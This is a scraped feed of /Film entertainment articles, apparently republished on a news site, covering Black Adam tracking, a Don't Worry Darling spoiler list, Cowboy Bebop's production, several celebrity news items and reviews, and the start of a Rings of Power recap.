The first tracking numbers for “Black Adam” have hit the board, with the folks at Box Office Pro predicting that Dwayne “The Rock” Johnson’s debut as the DC antihero will fetch anywhere between $ 55 and $ 70 million on its opening weekend. With the film set to arrive on October 21, the pressure is on, as it will be the first major Hollywood blockbuster to open since August. While that number would be good, it’s not the $ 100 million or more we’ve come to expect from many superhero films in recent years. Though these numbers are early and tracking has proved to be somewhat unreliable in the pandemic era. We’ll see where the chips fall.

Peacemaker Star John Cena Sets A Downright Heroic World Record

John Cena, star of “Peacemaker” and “The Suicide Squad,” may be an ultraviolent hero on screen, but has proven himself to be a downright superhero in real life. As indicated above, the folks at Guinness World Records have recognized the wrestler-turned-actor for his amazing record with the Make-A-Wish Foundation, having granted a staggering 650 wishes to date. That is twice as many as anyone else and, to say the very least of it, is downright remarkable. One imagines that number is only going to grow in the years to come. That’s the good stuff right there.

Is The Netflix Daredevil Series Canon In The MCU? Charlie Cox Weighs In

Charlie Cox is returning as Matt Murdock in a big way soon as “Daredevil: Born Again” is set to begin filming next year. The 18-episode series should keep the Man Without Fear busy in the MCU for some time. But is this a continuation of the Netflix show? Or something else entirely? Speaking with Screen Rant recently, Cox weighed in on the matter, saying the following:

“Yeah, I don’t know. But my instinct is based on the name of the show, it’s called Born Again, the fact…that Kevin [Feige] talks about it as being a Season 1, rather than a Season 4, my feeling is, this is a whole new deal.”

So, it seems this version of Matt Murdock may just be a variant within the Marvel multiverse, with the Netflix show taking place elsewhere. That might explain the slight differences with Vincent D’Onofrio’s Kingpin in “Hawkeye.” But we’ll see how this all unfolds throughout Phase 5 of the MCU.

A New Black Adam TV Spot Has Arrived

Lastly, Warner Bros. is pushing “Black Adam” in a big, bad way now as the TV spots are starting to surface online. This latest 30-second spot actually contains quite a bit of new footage, and even seems to offer a glimpse at the movie’s big villain, who has largely been kept under wraps up to this point. We also get a great look at Pierce Brosnan’s Doctor Fate in costume with his helmet off, amongst many other things. Be sure to check it out for yourself above.

Read this next: 20 Underrated Rom Coms You Need To Watch

The post Superhero Bits: John Cena Is A Real Superhero, Dardevil’s Place In The MCU & More appeared first on /Film.

]]> https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/feed/ 0 The 10 Most Unsettling Moments In Don’t Worry Darling https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/ https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/#respond Mon, 26 Sep 2022 19:10:32 +0000 https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/

“Don’t Worry Darling” may have failed to impress overall, but it still offers plenty to discuss, including the bonkers ending. Themes about womanhood, autonomy, and technology knot together, accentuated with a dazzling performance from Florence Pugh as Alice. Harry Styles stars opposite as her workaholic husband Jack, alongside a cast that also includes director Olivia Wilde (as Bunny), Chris Pine (as Frank, founder of a community called The Victory Project), and KiKi Layne (Margaret). The tight-knit community, straight out of a 1950s copy of American Homes and Gardens magazine, is too pristine for its own good. As they say, if it’s too good to be true, it probably is. 

Cinematographer Matthew Libatique brings a crispness to the visual storytelling, and when events take a turn for the worse, so does the cinematography. There’s an especially suffocating dread that seeps into the edges in even the brightest of frames. As Alice loses her grip on reality, her mind wanders through bursts of hypnotically strange images that suggest something wicked is brewing beneath the surface. Throughout the film, the visual style directly compliments a growing unease and the characters’ measured devolution. We’ve selected the 10 most unsettling moments in “Don’t Worry Darling,” from Alice’s inescapable hallucinations to the big third-act reveal. Don’t worry, darling, it’s just a list, but do BEWARE OF MAJOR SPOILERS!

Discretion Above All Else

Frank, Victory Project founder, gives an insidiously chilling monologue to greet a new couple entering the community. Commanding the crowd, he asks one resident named Bill (Nick Kroll) about what the antithesis of progress is. Bill responds: “Chaos.” Frank repeats the word, and then the others in a creepy cult sort of way. As Alice (Florence Pugh) will later point out, it’s about control versus independence.

Frank continues to spout a charming yet eerie spiel about expectations men put upon women. From keeping a tidy home to making sure their husbands stay happy, it’s a dystopian nightmare, but above all else, Frank and the men expect discretion. Discretion could mean a myriad of things, including what’s really going on in headquarters or within each couple’s residence. Sometime later, Alice and Jack (Harry Styles) steal away inside Frank’s home. Jack fusses with his tie and Alice offers to help. Soon, they hook up in Frank’s bedroom. The risk of someone walking in is of no real concern … until Frank inches into the frame and watches them. He utters nary a word, only watching from a short distance. Alice notices, and Frank makes a “shhh” sign with his hand. If you need your first real red flag 一 ding, ding, ding! We have a winner!

The Story Of Margaret

Over garden cocktails, Bunny tells a haunting story of their next-door neighbor Margaret, who claims there’s something dark and sinister at work in the community. The story goes that Margaret took her young son out into the desert, far from the residential block where Victory Project headquarters lies, and fell into a daze.

When she awoke, her son was gone, and Margaret believes they took her son away as punishment for stumbling upon their plot. The film excels in casting the audience right inside Margaret’s head with hazy flashes depicting Bunny’s words. It’s as hypnotic a sequence as it is perfectly unsettling. There’s also the implication that Margaret has been irreparably affected by living in the cookie-cutter community, from an emotional and mental standpoint. Yet no one is concerned enough to find out exactly what’s going on, and that might be the most disturbing part of all.

Stepford Wives

The entire basis for the community is perfection and symmetry. The men leave for work at precisely the same moment every single morning. The wives vacuum their living rooms and the television set plays the same spooky cartoon. The days seem to topple into each other. One day doesn’t feel much different from the next.

Even in dance class, everyone’s movements are swan-like and in unison. “There’s beauty in control,” the instructor says. Striving for such excellence in every part of life should be upheld. When a new wife named Violet (Sydney Chandler) visits the class, a cloud of dread seems to fall across the other wives. At all costs, they must adhere to strict guidelines about presenting themselves, as evidenced when the instructor corrects Alice’s posture and chin placement. Taking obvious influence from “The Stepford Wives,” “Don’t Worry Darling” boosts everything up a notch in the unsettling department. The cleanliness of the community isn’t enough: The wives must be the picture of literal perfection.

Unexplained Plane Crash

Alice feels bored with life, so she takes the trolley out to town and then to the end of the line. While the driver makes a turn, Alice spots a lone biplane that’s caught on fire and billowing spoke. She watches as it crashes into a faraway mountain, and her attempts to get the driver to follow are unsuccessful. “We need to stay here where it’s safe,” he says, repeating a concerning refrain found throughout the film.

Alice instead hops off the trolley and heads out on her own. She walks and walks and walks until she’s in the same head fog that Margaret described. Hair disheveled and pouring sweat, she climbs higher and higher until she comes across a metal portal. She meets only glass windows and places her hands on the surface. Her mind is instantly thrown into a frenzy, as the cage surrounding her mental facilities chips away and she recalls long-forgotten memories. Frank’s voice can be heard spouting “we crave order” over distorted images of 1920s dancers and other peculiar pictures Alice can’t quite place. Almost in an instant, she wakes up back in her own bed at home as though nothing had happened. Jack is busy in the kitchen cooking up some pot roast and green beans, and he simply shrugs off her concerns as nothing more than a dream. The film can best be described as a gaslight hell.

Alice’s Wonderland

Alice tumbles through a host of other weird and unexplainable trances. While cleaning one of their glass windows, a spot appears that won’t come out. Alice scrubs and scrubs. Little does she know, the wall has begun closing in behind her. Picture frames dig into her back and nearly crush her skull. In a flash, her body jolts backward and it all fades away. Everything is as it should be. In another moment, she settles into the sofa in the living room to watch television. During a pool commercial, she spies herself flailing in the water and is quickly yanked into the water herself. She’s not struggling, though, merely floating in another place, bubbles reversing into her nostrils. Once again, she seems to rouse from a waking nightmare.

Throughout the film, Alice goes through countless more mind trips. She nearly drowns in a hot bath after a total sinking far below, then later reaches a breaking point and wraps her head in Saran Wrap until she rips it back off. All these smaller moments are unsettling on their own, and piecing them into a larger puzzle gives greater psychological weight to her state of being as well as to what may actually be going on behind the curtain.

Margaret’s Tragic Fate

Alice imagines seeing Margaret inside the glass walls during dance class in another hallucination. Margaret appears scared/anxious and slowly inches closer to the glass, mimicking Alice’s every move in the process. At first, the viewer assumes that Margaret is possibly trapped inside Alice, but she quickly reveals herself as being her own person. Margaret then proceeds to bash her head repeatedly against the glass until it splinters into a web-like design.

Later that day, Alice spies Margaret on top of her roof and approaches her. As she screams her name, Margaret takes out a knife and slits her own throat, blood spurting everywhere. She then turns and flies back to the ground, dead. The doctor and the other powers that be later claim Margaret is quite alright and has been stitched up. Alice questions every point of their story, repeating over and over again what she witnessed. In a separate conversation, the doctor admits that Margaret has some severe mental problems that have led to permanent treatment somewhere outside the community. Margaret’s death is nothing short of frightening, especially considering how easily the circumstances surrounding her story were swept under the rug. While KiKi Layne had limited screen time, her presence was captivating. Once she departed, her absence rang like a deafening siren.

Frank Comes To Dinner

“My god you fascinate me,” Frank whispers to Alice. During a dinner party, Frank surprises Alice in the kitchen and tells her how long he’s been waiting for someone to “challenge me.” He then reveals his condolences that Bunny didn’t believe her allegations that something’s off with the Victory Project. Frank inches closer to Alice, telling her that he’s happy she’s “preparing dinner like a good girl.” The moment is as gross as it is downright unnerving.

Later, Alice doesn’t hold back when it comes to confronting the other couples. She begins by asking Violet how she met her husband Bill (Douglas Smith), and it becomes clear the romantic meeting (dropping her ticket and Bill bending down to pick it up) has been recycled with countless other newlyweds. This bombshell causes a ripple through the guests, most noticeably with Bunny, yet Frank eats up every single moment of it. Despite many reactions to the film, “Don’t Worry Darling” delivers its commentary with relentless, sharp-toothed terror.

Abduction Of Alice

After agreeing (quite reluctantly) to run away together, Jack sells out Alice to Frank in a devastating turn of events. Alice packed up a getaway bag and hopped in the car. Jack looks obviously dejected. Alice glances up to see men in red suits dashing towards them, much to her horror. She begs not to be hauled away and declares she’ll be good for him. Like most of the film, Florence Pugh rips your heart out with her resounding screams alone.

Alice is taken to an undisclosed location and strapped into a hospital bed. Leather handcuffs dig into her skin, while she writhes and attempts to break free. She’s then given electroshock therapy, a cruel punishment to wash away all her memories and what she knows about the Victory Project. Flickering between images, the recent past bleeds into Alice’s distant past of working as a nurse and going home to a humble apartment in the city. Possessing long, stringy hair, Jack sits hunched over his computer and looks far removed from his clean-cut look in the ’50s hellscape. In this scene, two things are suggested: Alice is right about everything, and something far more troubling is at play. We don’t yet know the full extent of Frank’s sinister world, but we will soon. It’s already enough to make your blood run cold.

The Victory Project

The third act drops the ultimate twist: Not only is The Victory Project a facade, but it’s actually an immersive virtual reality experience. In real life, Alice has been kidnapped and tied down to a bed with an electronic scanning device attached to her eyes. Believing her to be unhappy in life, Jack took her hostage and trapped her inside a simulated world to live a perfect existence. For their part, the men can only log a certain number of hours inside the simulation and are required to leave for work promptly at the same time every single morning.

The Victory Project is the ultimate gaslighting. The wives are hushed into submission and forced to adhere to traditional gender roles far removed from modern progress and liberation. The finale also reveals Bunny knew everything from the beginning, but she’s unsure about the other wives. Unsettling doesn’t begin to describe this revelation. It’s a dystopian horror.

The Final Chase

All the chips are down when Alice kills Jack for what he’s done, then runs for her life. She burns rubber in Bunny’s car and zips off straight for headquarters in the desert. A slew of men in red suits charges after her. After causing a head-on collision between three vehicles, Alice furthers the distance between her and the others, eventually coming upon the metal gateway to the real world. When her car pops a tire, she makes her way on foot and barely manages to high-tail it up the winding gravel road.

Once at the top, she stops for a second before stepping forward and placing her hands on the glass. A red neon glow emanates from within and transports her consciousness back into her body. The screen cuts to black, and she heaves a sigh of relief and exasperation. She survives by the skin of her teeth. It’s a moment of triumph, but it’s not without a glistening edge of darkness. What about the other women? Do they finally get their own vengeance? With Frank dead, and his wife Shelley (Gemma Chan) reclaiming her life, it certainly seems The Victory Project is destined to burn from the inside out. We know better, though: Where there’s one cis white egomaniac, there are a dozen more to take his place.

Read this next: Sci-Fi Masterpieces With Endings We Love To Complain About

The post The 10 Most Unsettling Moments In Don’t Worry Darling appeared first on /Film.

]]> https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/feed/ 0 How The Cowboy Bebop Team Tried To Make Every Episode Feel Unique https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/ https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/#respond Mon, 26 Sep 2022 10:41:55 +0000 https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/

Part of the tragedy of “Cowboy Bebop” is how the main characters are so weighed down by their pasts that they’re unable to live in the present. The creative team behind the classic anime series didn’t share this attitude though. When making the series, “Hajime Yatate” (their collective pseudonym) were all focused on the present, not what lay behind or ahead of them.

Series director Shinichirō Watanabe and producer Masahiko Minami discussed their episode-by-episode attitude at a roundtable for the show’s 20th anniversary, held at French convention Japan Expo 2018. Watannabe recounted (transcribed by SakuraBlog):

“I had an episodic series in mind from the get-go. I wanted every episode to feel fresh. And all the aforementioned problems we encountered only reinforced that vision of the series I had… But we still needed a thread, albeit thin, common to all episodes for the setting, world elements, characters, etc.”

Those thin threads wound up being (a.) the characters hunting bounties and (b.) confronting faces from their pasts. However, even these storylines lent themselves well to the series’ episodic format. This approach was solidified by the crew treating every episode like its own standalone story, and allowing all sorts of staff members to pitch in.

A Mishmash Team Effort

The “Cowboy Bebop” opening sequence, “Tank!” by the Seatbelts, contains a bold declaration hidden in its scrolling text animation: “the work that becomes a new genre itself will be called… Cowboy Bebop.” On a macro and micro level, “Bebop” mixes so many influences it defies categorization.

The setting may be science fiction, but true to the “Cowboy” part of the title, there’s Western influence too: the Solar System is a newly-settled, lawless frontier. The character archetypes owe more to Film Noir — Spike’s a former criminal, Jet an ex-cop, Faye a wannabe femme fatale. Yoko Kanno’s music score is as eclectic as the storytelling. “The Real Folk Blues” mixes jazzy saxophone riffs with lyrics out of a lovelorn ballad.

Episode by episode, widely different tones are explored. “Black Dog Serenade” is one of the show’s darkest chapters, explaining how Jet lost his right arm thanks to his corrupt ex-partner, Fad. The very next episode, “Mushroom Samba,” is the show’s silliest, featuring the adventures of comic relief character “Radical” Edward and pet “data dog” Ein while the rest Bebop crew accidentally get high on psychedelic mushrooms. While “Serenade” is a hardboiled noir, “Samba” is a love-letter to 70s stoner and blaxploitation movies — a woman who suspiciously resembles Pam Grier even shows up.

At the Japan Expo panel, Watannabe mentioned how the team enlisted different staff members for every episode to ensure each was unique. Dai Sato, a totally green writer, scripted two “Cowboy Bebop” episodes, while Minami broke out of his producing role and worked directly on episode 10; he gave the episode an “enka”-inspired tone.

If you make every episode feel different, you risk creating an unbalanced series. However, “Cowboy Bebop” begins as such a unique creation that introducing a new ingredient never upsets the flavor.

Making Every Episode Like It Was The Last

Watannabe acknowledged there was another reason they made “Cowboy Bebop” episodic:

“Every episode was written like it was the last because we knew the series may be called off any time.”

This attitude helps explain episode 11, “Toys in the Attic.” In that “Alien” parody, the Bebop crew is picked off one-by-one by a poisonous blob creature. The episode ends with everyone unconscious except for Ed, who beats the creature by eating it. In the preview for the next episode, Ed claims everyone died, “Bebop” is over and the next show will be “Cowgirl Ed.” Of course that isn’t true and everyone’s fine in episode 12. If the series had ended there, what a wild ending it would’ve been.

Watannabe’s fears of a premature end weren’t simple paranoia. For starters, “Cowboy Bebop” had trouble getting funding. The series’ sponsor Bandai just wanted sell spaceship toys, but pulled back thanks to the offbeat narrative that Sunrise designed for their toy commercial. If subsidiary Bandai Visual hadn’t stepped in, “Cowboy Bebop” may not have gotten off the ground.

Plus, the series was yanked off the air at one point. TV Tokyo aired only 12 “Bebop” episodes (and a clip show) from April 3 to June 26, 1998. Thankfully, the series soon aired in its entirety on Wowow, from October 24, 1998 until April 3, 1999. When “Cowboy Bebop” made its way to the U.S., airing on Adult Swim in 2001, its reputation as a classic was solidified. The series’ episodic approach and heavy western influence made it accessible to American audiences, who weren’t as well-versed in anime then as they are now.

By putting care into each episode, Watannabe, Minami, and their Sunrise teammates created something even greater than the sum of its unique parts.

Read this next: Anime Shows Like Cowboy Bebop That Are Worth Your Time

The post How The Cowboy Bebop Team Tried To Make Every Episode Feel Unique appeared first on /Film.

]]> https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/feed/ 0 John Williams And Former Disney CEO Bob Iger Are Now Honorary Knights Of The British Empire https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/ https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/#respond Sun, 25 Sep 2022 00:45:17 +0000 https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/

From 2005 to 2020, Bob Iger ruled over the Walt Disney Company from his throne in Burbank, CA. Just like others monarchs throughout history, he expanded his borders during his reign by acquiring the surrounding kingdoms of Pixar, Marvel, Lucasfilm, and 21st Century Fox. He also rescued Disney’s first star, Oswald the Lucky Rabbit, from a rival kingdom (NBCUniversal), revitalized the company’s theme parks around the world, and refocused their approach to streaming through services like Disney+ and Hulu. And though some of his loyal subjects may have had their fair share of valid criticisms over the course of his reign, Iger was largely a benevolent ruler due to his longtime philanthropy and the positive impact that he and his company made on their worldwide audience.

In a classic case of “game recognizes game,” the late Queen Elizabeth II decided to award Iger by bestowing upon him the title of Honorary Knight of the Order of the British Empire. Approving the award prior to her death earlier this month, the official citation declared that the former Disney Chairman and CEO is being recognized for his contributions to U.K./U.S. relations. This title of KBE is the second-highest rank in the Order that can be given to a non-U.K. citizen.

However, Iger wasn’t the only legendary name from receiving the honor this year.

Imperial March

In addition to Bob Iger, legendary composer and conductor John Williams is also receiving the title of Honorary Knight of the Order of the British Empire this year “for services to film music.” Williams is widely regarded as one of the most influential film composers of all time. Over the course of his illustrious career, he has been nominated for 52 Academy Awards, 6 Emmys, 25 Golden Globes, and 71 Grammys. But more importantly, he’s responsible for creating the unforgettable music behind “Jurassic Park,” the Indiana Jones franchise, “E.T. the Extra-Terrestrial,” the Star Wars franchise, and many, many fan favorite films.

The Round Table

Both Iger and Williams join a venerable list of influential people being honored by the British crown this year. Other recipients include Costa Rican diplomat and international climate leader Christiania Figueres, Honorary Consul for Greater Philadelphia Oliver Franklin, chef and author Ken Hom, and US Congressman George Holding, as well as a number of medical professionals, scholars, teachers, designers, and more.

In a statement from Iger (via The Wrap), he shared how special this award is to him and how it is “one of the great honors of my life to have the honorary Knight of the British Empire conferred on me by [the Queen] before she passed.” Iger continued:

“Our two nations share a strong bond, which I have seen up close over many years through my deep personal and professional connections to the United Kingdom. I have great affection for the people of the UK, and have always appreciated and been inspired by their extraordinary contributions, particularly in the creative arts.”

There’s currently no word on if Iger was inspired enough to suggest a change to the Disney Legend Award to include some kind of knightly title, but we’ll be sure to update you as the story develops. In the meantime (and in all sincerity), congratulations are an order for Bob Iger, John Williams, and the rest of those being knighted this year.

Read this next: All 58 Walt Disney Animation Studios Films Ranked From Worst To Best [Part One]

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]]> https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/feed/ 0 Blood Relatives Review: A Sweet, Slightly Clumsy Vampire Dramedy [Fantastic Fest] https://briefnews.eu/blood-relatives-review-a-sweet-slightly-clumsy-vampire-dramedy-fantastic-fest/ https://briefnews.eu/blood-relatives-review-a-sweet-slightly-clumsy-vampire-dramedy-fantastic-fest/#respond Sat, 24 Sep 2022 16:16:21 +0000 https://briefnews.eu/blood-relatives-review-a-sweet-slightly-clumsy-vampire-dramedy-fantastic-fest/

“Blood Relatives” is a movie with a lot of heart. And blood. Lots and lots of blood, because this is the story of a pair of vampires. But it’s also a father-daughter bonding flick; a road trip movie; and a surprisingly non-stop delivery system for Yiddish words. Written, directed by, and starring Noah Segan, “Blood Relatives” is clearly a passion project for the actor (who you probably primarily know from his frequent collaborations with Rian Johnson), and as is often the case with passion projects for actors-turned-filmmakers, it’s a little clumsy. There are scenes that feel awkwardly long, in dire need of some trimming — a mid-movie sequence shot day-for-night goes on seemingly forever and robs the movie of serious momentum, for instance.

And yet, “Blood Relatives” is so unapologetically warm — especially for a vampire flick — that it’s hard not to be charmed by it all. You’ll notice the clunky bits that need some fixing. But you’ll also likely be taken with the undead drama of it all. Segan is Francis, a guy who looks young but is actually old. Very old. He’s a vampire who lived through World War II, and he’s not originally from America, as he’s prone to throwing out Yiddish words whenever he can (this is a running bit that sometimes works and garners big laughs, and sometimes falls flat; so it goes). 

Francis lives a nomadic lifestyle, driving through the countryside in his 1969 Barracuda Fastback and wearing an outfit that, as one character aptly points out, is akin to someone dressing like the Fonz for Halloween. When the sun comes up, Francis either checks into motels or covers his car in a tarp to hide from the sun. It’s not clear if he enjoys this lifestyle, but it’s all he has, and it’s seemingly all he’s known for decades. And then everything changes when teenager Jane (Akasha Villalobos) tracks him down and tells him she’s his daughter. 

Family Matters

Part of the fun of “Blood Relatives” is how Segan plays around with established vampire mythology. Yes, vampires are undead; yes, they drink blood (of humans and sometimes animals, but animals don’t taste as good); and yes, they can be killed by sunlight. But Francis also loves to chug bottles of booze — something Count Dracula, with his aversion to spirits, would gag at. And, even though he’s technically dead, Francis can also sire a child. Years ago he rolled into a town and got a one-night stand pregnant. Now, that woman is dead, and Jane, her daughter, has arrived to reveal to Francis she’s his long-lost child. And because her dad is a vampire, she’s a half-vampire herself. She has a thirst for blood, has superhuman strength, and can sprout fangs. But she’s also technically alive, ages naturally, and can move about during the day without bursting into flames. 

Because Jane has no one, she wants to stay with Francis. Francis, as you’d imagine, thinks this is a terrible idea. But father and daughter reluctantly hit the road together, and it’s not going to be an easy journey. Jane is consistently angry in that sulky teen sort of way, and that’s part of the film’s problems. While Villalobos sells the angst of the character, she’s stuck with the type of smarmy, sardonic, rat-a-tat dialogue that never, ever sounds right coming out of the mouth of a kid. Kids don’t talk like this — screenwriters do. And as such, I had trouble getting used to Jane as a character. You could argue that her nature is all an act; she’s a hurt, lonely kid and she’s lashing out and trying to sound wiser beyond her years. But I don’t quite buy that, and I don’t buy her dialogue. 

But I did buy the conflicts that arise between father and daughter, two characters who are both very alike and very different. And I bought into the way these two lonely people ultimately realize they need each other, because each other is all they’ve got. There’s something charming about the way Francis learns to change in order to raise his daughter. Even though he’s already an old man, he’s finally being forced to grow up, something that doesn’t come easy to anyone — even vampires. However, there are darker, somewhat unspoken things lurking in the background — the idea that eventually, Jane will get older and older while Francis stays the same. That’s bleak and disturbing — I was reminded of “Let the Right One In,” which had similar tragic vampire/human dynamics — but “Blood Relatives” plays them for laughs. But perhaps that’s just the reality of the situation — we find humor in the macabre all the time. We have to laugh, or else we’ll cry. “Blood Relatives” gets that, and that’s part of what makes the film so affable, even if it does trip over its own Dracula cape from time to time. 

/Film Rating: 6 out of 10

Read this next: The Horror Movies We Can’t Wait To See In 2022

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]]> https://briefnews.eu/blood-relatives-review-a-sweet-slightly-clumsy-vampire-dramedy-fantastic-fest/feed/ 0 James Earl Jones Has Stepped Away From Voicing Darth Vader https://briefnews.eu/james-earl-jones-has-stepped-away-from-voicing-darth-vader/ https://briefnews.eu/james-earl-jones-has-stepped-away-from-voicing-darth-vader/#respond Sat, 24 Sep 2022 03:32:42 +0000 https://briefnews.eu/james-earl-jones-has-stepped-away-from-voicing-darth-vader/

James Earl Jones is 91 years young, and after voicing the character for 40 years, it sounds like he has finally moved on from the role of Darth Vader. By now, “Star Wars” fans have gotten used to seeing actors digitally resurrected or de-aged, as in the case of Peter Cushing and Carrie Fisher in “Rogue One: A Star Wars Story” and Mark Hamill in “The Book of Boba Fett.” What you may not know is that the voices of some legacy actors are also being digitally recreated via A.I.

Vanity Fair has a new report out about the Ukrainian origins of the new/old Darth Vader’s voice, and in the context of that, the magazine mentions that Jones has officially “stepped back from the role” of Darth Vader. 

Vader played a big part in the recent Disney+ series “Obi-Wan Kenobi,” and you may have noticed that his voice sounded different in that series, more like his old self than it did in “Rogue One,” where the effects of Jones’ age made the character’s voice sound a bit more tremulous. It turns out this is because Lucasfilm brought in a Ukraine-based company called Respeecher to synthetically construct new Vader dialogue for “Obi-Wan Kenobi” based on archival recordings.

‘He Had Mentioned He Was Looking Into Winding Down’

Respeecher is the same company that was behind Luke Skywalker’s voice in “The Book of Boba Fett,” so it already had an existing relationship with Lucasfilm, but Russia’s invasion of Ukraine earlier this year severely complicated matters when it came to “Obi-Wan Kenobi.” Its synthetic-speech artists were still wrapping up work on the series even as Russian soldiers were crossing over into Ukraine on February 24, 2022. Needless to say, this serves as a sobering reminder of real-world events playing out not only in tandem with but behind the very scenes of the entertainment we consume.

Matthew Wood, the supervising sound editor for Skywalker Sound, said Jones acted as “a benevolent godfather” overseeing Respeecher’s work on Vader’s voice for “Obi-Wan Kenobi.” “He had mentioned he was looking into winding down this particular character,” Wood said. According to the report, however, they made sure to “inform the actor about their plans for Vader and heed his advice on how to stay on the right course.”

Jones famously overcame a childhood stuttering impediment to develop one of the most well-known voices in movie history. He also voiced Mufasa in “The Lion King,” in addition to playing live-action roles in films like “Coming to America.” Some “Star Wars” fans may have already consigned themselves to him retiring from the Darth Vader role due to his age, but now we have official confirmation that Jones is passing the baton, and all that remains to be said is: may the Force be with you, sir.

Read this next: The Most Brutal Moments In The Star Wars Franchise, Ranked

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]]> https://briefnews.eu/james-earl-jones-has-stepped-away-from-voicing-darth-vader/feed/ 0 Winning An Oscar Wasn’t Exactly A Career Boost For Dianne Wiest https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/ https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/#respond Fri, 23 Sep 2022 14:49:13 +0000 https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/

Sometimes even when you win, you lose. For Dianne Wiest, that might just be the case. The Academy Award-winning actor says that winning an Oscar wasn’t the career boon she thought it would be. Despite flashing impressive range in roles that netted three Best Supporting Actress nominations and two wins, Wiest says she’s been boxed in by playing the same character in nearly every movie she’s offered.

When you think about Wiest, you might think of Vi, the mother of the rebellious Ariel in “Footloose.” Or maybe you think of the struggling divorced mom Helen in “Parenthood.” Or perhaps Peg, the mother-like figure for Edward in “Edward Scissorhands.” Maybe Joan, the matriarch of the Short family in the CBS sitcom “Life in Pieces?” And of course, there’s Lucy, mother of the vampire-fighting Emerson brothers in “The Lost Boys.”

And that’s Wiest’s point. Despite her acting chops, authenticated by the two Oscars sitting on her shelf (or wherever Dianne Wiest chooses to show off her hardware), she’s been stuck playing the same role over and over.

She’s Typecast As A Nice Mom

When an actor is typecast, it means that Hollywood producers only see them as one specific character type. While that might mean a safety net for struggling actors, it’s potentially a death knell for actors with the talent and desire to play a wide range of roles. For example, there was a time when Tom Hanks was typecast as strictly a comedy actor before he broke free in the 1993 drama “Philadelphia.”

Unfortunately, Wiest never had her “Philadelphia” moment to escape the dreaded Hollywood typecasting. The big question is, why? Wiest won Oscars for Best Supporting Actress in two Woody Allen films, “Hannah and Her Sisters” and “Bullets Over Broadway.” Both roles were rather salacious and neither involved being a mom.

Despite this, Wiest claims that there’s typically one type of role she’s been offered in Hollywood since her Oscar wins. The actress told The New York Times she’s been typecast as “a nice mom and that’s it. That’s all that ever came [after the Oscars], except in theatre.” Wiest also sent the gossip columns into a tizzy with the quip, “I have to move out of my apartment soon.” She later clarified that her unpredictable acting career and (ironically) covering large tuition bills as a single mother made her New York rent too expensive.

Dianne Wiest: Hollywood’s Mom

You hate to see Wiest limited by Hollywood typecasting, but let’s face it, she does it so well. Since the early 1980s, Wiest has played mom to some of Hollywood’s biggest names. Michael J. Fox (“Bright Lights, Big City”), Corey Haim and Jason Patric (“The Lost Boys”), Winona Ryder and (sort of) Johnny Depp (“Edward Scissorhands”), Lori Singer (“Footloose”), and Joaquin Phoenix (“Parenthood”) are all part of her show biz brood.

And though we’re well beyond the 1980s when Wiest played some of her most iconic “mom” roles, Hollywood refuses to release its grip on her as a mother. She’s now playing parent to another generation of actors, including Steve Carell (“Dan in Real Life”), Amy Poehler and Tina Fey (“Sisters”), and Jeremy Renner (“Mayor of Kingstown”).

But it’s not all bad. Let’s face it, Wiest is a Hollywood treasure and serves as an inspiration for moms everywhere. Her performances have inspired mom blog posts like “How to Handle Motherhood Like Boss mom Dianne Wiest” and social media posts celebrating her as a mother.

Wiest says she turns to the theatre to feed her artistic needs that Hollywood’s mom roles can’t. In 2019 she finished a three-year run as Winnie in Samuel Beckett’s iconic play “Happy Days.” She told the L.A. Times, “I just want to do Beckett’s ‘Happy Days’ over and over again. I don’t want to do anything else, because nothing else comes near it.” Prior to that, she starred in the thought-provoking “Rasheeda Speaking” alongside Tonya Pinkins.

Meanwhile, we’ll continue to relish Wiest as Hollywood’s mom, even though it’s a moniker she’d like to permanently ground, or at least send to bed without dinner.

Read this next: 20 Underrated Rom Coms You Need To Watch

The post Winning An Oscar Wasn’t Exactly A Career Boost For Dianne Wiest appeared first on /Film.

]]> https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/feed/ 0 Divided Loyalties And Painful ‘Partings’ Take Centerstage In The Lord Of The Rings: The Rings Of Power https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/ https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/#respond Fri, 23 Sep 2022 10:34:46 +0000 https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/

Five episodes into “The Lord of the Rings: The Rings of Power,” we’re now officially more than halfway through the deliberately-paced season and many viewers still find themselves struggling with the idea of what an adaptation of J.R.R. Tolkien should “feel” like. Nobody can ever really define what such a subjective statement actually means, of course, especially since material as well-known as this comes with such a broad range of appeal among so many different demographics. But I’m going to go out on a limb and guess that the opening of episode 5, titled “Partings,” immediately sets the tone for a far more coherent hour than last week’s scattershot episode and lives up to much of what fans would consider quintessential Tolkien.

After a quiet but foreboding conversation between Nori (Markella Kavenagh) and the Stranger (Daniel Weyman), where the almost childlike amnesiac expresses doubt over whether he’s actually good or not (RIP those poor fireflies!), our main family of straggling Harfoots embark on their long and punishing migration to catch up with the rest of the clan. But the stirring travelogue, accompanied by Poppy’s (Megan Richards) wonderful walking song, perhaps best encompasses the unique magic that these characters bring to the series that helps recapture what worked so well in “The Lord of the Rings.”

